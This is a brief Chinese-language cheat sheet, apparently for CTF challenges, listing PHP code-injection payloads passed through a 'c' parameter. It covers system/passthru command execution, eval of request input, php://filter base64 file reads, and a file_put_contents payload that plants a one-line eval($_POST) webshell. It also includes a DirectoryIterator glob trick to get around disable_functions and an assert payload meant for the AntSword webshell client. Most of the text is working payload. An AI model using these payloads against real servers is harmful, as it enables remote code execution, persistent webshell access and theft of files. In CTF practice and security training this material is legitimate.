1.system() #读取执行命令

?c=system("tac 0fla*");

2.passthru() #读取执行命令

?c=passthru("tac 0fla*");

3.eval() #执行php

?c=eval($_GET[1]);&1=phpinfo();  #因为是以php代码形式来执行的，所以结尾必须有分号。

4.include #读取文件

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

5.file_put_contents() #写入文件

file_put_contents("yunmeng.php", '<?php eval($_POST["cmd"]); ?>'); 
file_put_contents("yunmeng.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 

6.show_source() #读取并显示(php内置函数)

c=show_source("flag.php");

7.highlight_file() #回显文件内容

c=highlight_file("/flag.txt");

8.readgzfile() #可以读取非gz格式的文件

?c=readgzfile('/flag.txt');

9.glob函数 #可以遍历目录，并且不受disable_functions的限制。

glob查找根目录下的所有目录（glob:// /*这样更加清楚些）。然后循环执行并输出给$f，在输出$f。

c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

10.assert #转接头assert(),如果 assertion 是字符串，它将会被assert() 当做 PHP 代码来执行。

利用蚁剑获取flag，编码选择base64

https://123123.men/?1=assert($_POST[2]);

exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
参考文章： https://www.php.cn/php-weizijiaocheng-298828.html

关于linux命令中的通配符： https://www.cnblogs.com/ysuwangqiang/p/11364173.html